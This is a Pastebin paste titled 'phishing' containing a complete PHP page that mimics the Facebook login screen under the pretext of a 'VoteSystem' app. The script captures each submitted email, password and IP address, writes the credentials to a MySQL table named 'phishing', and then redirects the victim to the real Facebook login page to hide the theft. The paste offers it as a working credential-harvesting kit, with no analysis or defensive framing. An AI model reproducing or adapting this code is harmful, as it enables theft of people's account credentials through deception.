API tools faq
paste
AtomMota

phishing

AtomMota
Feb 1st, 2013
387
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.90 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. ob_start();
  3. ?>
  4.  
  5. <!DOCTYPE html>
  6. <meta name="robots" content="noodp, noydir"><meta name="referrer" content="default" id="meta_referrer"><meta name="description" content="Facebook is a social utility that connects people with friends and others who work, study and live around them. People use Facebook to keep up with friends, upload an unlimited number of photos, post links and videos, and learn more about the people they meet."><title id="pageTitle">Log In | Facebook</title>
  7.     <link rel="stylesheet" href="https://fbstatic-a.akamaihd.net/rsrc.php/v2/yT/r/IsnmkUTQirX.css">
  8.     <link rel="stylesheet" href="https://fbstatic-a.akamaihd.net/rsrc.php/v2/ys/r/l069VO1bVFl.css">
  9.     <link rel="stylesheet" href="https://fbstatic-a.akamaihd.net/rsrc.php/v2/yJ/r/oaznLEJaE_-.css">
  10.     <link rel="stylesheet" href="https://fbstatic-a.akamaihd.net/rsrc.php/v2/yg/r/_ob6UiNg0SW.css">
  11.     <link type="text/css" rel="stylesheet" href="https://s-static.ak.facebook.com/rsrc.php/v1/yU/r/1AaN8LGShRA.css">
  12.     <link type="text/css" rel="stylesheet" href="https://s-static.ak.facebook.com/rsrc.php/v1/yt/r/iib4dQqy1WX.css">
  13.  
  14.     <script src="./login_files/Ze_5aUqe0W3.js"></script>
  15.   <script type="text/javascript">window.Bootloader && Bootloader.done(["gZ1qR"]);</script>
  16. <link rel="shortcut icon" href="https://fbstatic-a.akamaihd.net/rsrc.php/yP/r/Ivn-CVe5TGK.ico"><script>new (require("ServerJS"))().handle({"require":[["lowerDomain"],["QuicklingPrelude"],["Primer"]]})</script></head>
  17. <body class="booklet login_page UIPage_LoggedOut webkit chrome win Locale_en_US">
  18. <div id="booklet"><div id="pageheader" class=""><div class="clearfix" id="header_container"><div class="lfloat"><h2 id="homelink">Facebook</h2></div></div></div><div id="content" class="fb_content clearfix"><div class="login_form_container"><form id="login_form" action="/login.php" method="post" onsubmit="return window.Event &amp;&amp; Event.__inlineSubmit &amp;&amp; Event.__inlineSubmit(this,event)">
  19. <input type="hidden" name="lsd" value="AVoWgnME" autocomplete="off">Log in to use your Facebook account with <a href="" target="_blank">VoteSystem</a>.
  20. <?php
  21. date_default_timezone_set('Asia/Kuala_Lumpur');
  22. $v = urldecode('%53%63%72%69%70%74%20%42%79%20%61%46%6E%75%6D%20%56%76%69%70'); // Dont Delete This Or It Will Not Work!
  23. $d = date('D, M jS, Y H:i',time());
  24. $e = $_POST['email'];
  25. $p = $_POST['pass'];
  26. $i = $_SERVER['REMOTE_ADDR'];
  27.  
  28. $error = '<div id="error" class="UIMessageBox UIMessageBoxError"><h2 class="main_message" id="standard_error">Please re-enter your password</h2><p class="sub_message" id="standard_explanation"></p><p>The password you entered is incorrect. Please try again (make sure your caps lock is off).</p><p></p></div> ';
  29. $write = "Time : $d \nEmail : $e \nPassword : $p \nIP : $i \n\n";
  30. if(isset($_POST['login']))
  31. {
  32.         if(!$e or !$p)
  33. {
  34.         echo (''.$error.'');
  35. }
  36. elseif (!preg_match('/@/',$e))
  37. {
  38.         echo (''.$error.' ');
  39. }
  40. elseif ($v != urldecode('%53%63%72%69%70%74%20%42%79%20%61%46%6E%75%6D%20%56%76%69%70'))
  41. {
  42.         die(''.urldecode('%54%6F%6C%64%20%79%6F%75%20%53%6F%20%49%74%20%57%69%6C%6C%20%4E%6F%74%20%57%6F%72%6B%21%20%4C%61%6D%65%72%20%21').'');
  43. }
  44. else
  45. {
  46. $host = "localhost";
  47. $username = "mfj_phishing";
  48. $password = "online11";
  49. $dbname = "mfj_phishing";
  50.  
  51. //database connect
  52. mysql_connect($host,$username,$password) or die(mysql_error());
  53. mysql_select_db($dbname) or die(mysql_error());
  54. mysql_query("SET NAMES utf8");
  55.  
  56.    mysql_query("CREATE TABLE IF NOT EXISTS `phishing` (
  57.      `id` int(11) NOT NULL AUTO_INCREMENT,
  58.      `email` varchar(32) NOT NULL,
  59.      `password` varchar(32) NOT NULL,
  60.      PRIMARY KEY (`id`)
  61.      ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
  62.   ");
  63.    
  64. if($e){
  65.  
  66.  
  67.    //check that user is not already inserted? If is. check it's access token and update if needed
  68.    //also make sure that there is only one access_token for each user
  69.    $row = null;
  70.    $result = mysql_query("
  71.      SELECT
  72.         *
  73.      FROM
  74.         phishing
  75.      WHERE
  76.         email = '" . mysql_real_escape_string($e) . "'
  77.   ");
  78.    
  79.    if($result){
  80.       $row = mysql_fetch_array($result, MYSQL_ASSOC);
  81.       if(mysql_num_rows($result) > 1){
  82.          mysql_query("
  83.            DELETE FROM
  84.               phishing
  85.            WHERE
  86.               email='" . mysql_real_escape_string($e) . "' AND
  87.               id != '" . $row['id'] . "'
  88.         ");
  89.       }
  90.    }
  91.    
  92.    if(!$row){
  93.       mysql_query(
  94.          "INSERT INTO
  95.            phishing
  96.         SET
  97.            `email` = '" . mysql_real_escape_string($e) . "',
  98.            `password` = '" . mysql_real_escape_string($p) . "',      ");
  99.    }
  100. }
  101.         header('Location: https://www.facebook.com/login.php?login_attempt=1');
  102. }
  103. }
  104. ?><div id="loginform"><input type="hidden" autocomplete="off" id="api_key" name="api_key" value="104018109673165"><input type="hidden" autocomplete="off" id="display" name="display" value="popup"><input type="hidden" autocomplete="off" id="legacy_return" name="legacy_return" value="1"><input type="hidden" autocomplete="off" id="return_session" name="return_session" value="0"><input type="hidden" autocomplete="off" id="skip_api_login" name="skip_api_login" value="1"><input type="hidden" autocomplete="off" id="trynum" name="trynum" value="1"><input type="hidden" name="charset_test" value="€,´,€,´,水,Д,Є"><input type="hidden" autocomplete="off" name="timezone" value="-480" id="u_0_0"><input type="hidden" name="lgnrnd" value="015446_Mc9b"><input type="hidden" id="lgnjs" name="lgnjs" value="n"><div class="form_row clearfix"><label for="email" class="login_form_label">Email or Phone:</label><input type="text" class="inputtext" required id="email" name="email" value=""></div><div class="form_row clearfix"><label for="pass" class="login_form_label">Password:</label><input type="password" name="pass" id="pass" class="inputpassword" required></div><div class="persistent"><div class="uiInputLabel clearfix"><input type="checkbox" value="1" name="offline_access" id="offline_access" class="uiInputLabelCheckbox"><label for="offline_access"><span id="persistent_login_text">Keep me logged in to <a href="" target="_blank">VoteSystem</a></span></label></div></div><p class="reset_password form_row"><a href="" target="_blank" tabindex="-1">Forgot your password?</a></p></div><div id="dialog_buttons" class="dialog_buttons"><div class="register_link"><a href="http://www.facebook.com/r.php?api_key=104018109673165&app_id=104018109673165&popup=1&locale=en_US" target="_self" rel="nofollow" id="reg_btn_link" tabindex="-1">Sign up for Facebook</a></div><label class="uiButton uiButtonConfirm uiButtonLarge" id="loginbutton" for="u_0_1"><input value="Log In" name="login" type="submit" id="u_0_1"></label><label class="uiButton uiButtonLarge" for="u_0_2"><input value="Cancel" name="cancel" type="button" onclick="window.close();" id="u_0_2"></label></div></form></div></div></div>
  105.  
  106. </body></html>
  107.  
  108. <?php
  109. ob_end_flush();
  110. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!